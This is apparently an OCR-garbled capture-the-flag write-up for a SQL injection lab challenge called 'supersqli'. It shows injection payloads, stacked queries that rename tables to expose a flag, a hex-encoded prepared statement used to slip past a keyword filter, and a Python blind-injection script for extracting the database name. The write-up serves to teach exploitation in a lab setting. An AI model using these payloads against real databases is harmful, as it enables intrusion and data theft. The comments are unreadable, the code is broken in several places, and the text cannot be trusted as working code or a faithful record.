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1' order by 2;#
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- |1' order by 3;# || 123r ‘
rrrrr 1054 : Unknown column '3 in ' order clause’
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return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re

import requests

#ERE
def main():

url = "http://8tyckyvkyuu3yuvubbbui7awwwwww.node3.buuoj.cn/"

HX = "hahahah"
get_databasename_HX(url, HX)

# HRAE B B AR R R A

# database_len_payload: 3REVEHEE 4 KB Mpayload, HITEE

# database_name_payload: 3REXE#E E 4 Hpayload, HTELE
# HX iy e 45 SN ) [ B
def get_databasename_HX(url,HX):

db_name =

# BIWELNKE
for i in range(1, 32):

database_len = @

result = requests.get(url + "?inject=9' ||(length(database())="+str(i)+");#);")

result.encoding = 'utf-8'
if result.text.find(HX) != -1:
database_len = i
break
if database_len ==
print ("EEEHEEKERK, BFLIE")
return "-1"
else:
print("BEEKEN: "+str(database_len))
for i in range(1, database_len+l):
for j in range(1, 128):

result = requests.get(url + "?inject=19"'

if result.text.find(HX) != -1:
print("KIE"+str(i)+"fL: "+chr(j))
db_name += chr(j)
break

print("BIBEELAN: %s" % db_name)

return db_name

if _name__ == '_main__':

main()

SR, REUEIEFE 4 supersqli:

| | (substr(database(),"+str(i)+",1)=char("+str(j)+"
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array(1) {
[o]=>

string(16) “1919810931114514"
}

array(1) |
[o]=>
string (5) “words”

}
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19":show columns from *1919810931114514 " :#

XEHAEARS, TREMRSS, BUWEPATRE.



array(6) |
[o]=>
string(4) “flag”
[1]=>
string(12) “varchar (1007
[2]=>
string(2) “NO”
[3]=>
string(0) *7
[4]=>
NILL
[5]=>
string(0) *7

}

19":show columns from words;#

251 || 1232

array(6) |
[o]=>
string(2) “ig”
[1]=>
string (7) “int(10)”
[2]=>
string(2) “NO”
[3]=>
string(0) ™7
[4]=>
NILL
[5]=>
string(0) ™7

}

array(6) |
[o]=>
string(4) “data”
[1]=>
string(11) “varchar (2007
[2]=>
string(2) “NO”
[3]=>
string(0) *7
[4]=>
NILL
[5]=>
string(0) *7
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19":rename table words to word1111;#

19";rename table "1919810931114514" to words;#

alter table words change flag id varchar(100);#
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error 1146 : Table 'supersqli.words' doesn't exist

K 77 BEE — 519 ;rename table words to word111;rename table *1919810931114514" to words;alter
table words change flag id varchar(100);#
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array(1) |
[o]=>

string (4) "fuck”

}

array(l) |
[o]=>
string (5) “words”

}
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1;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsq|
from @a;execute execsql;#
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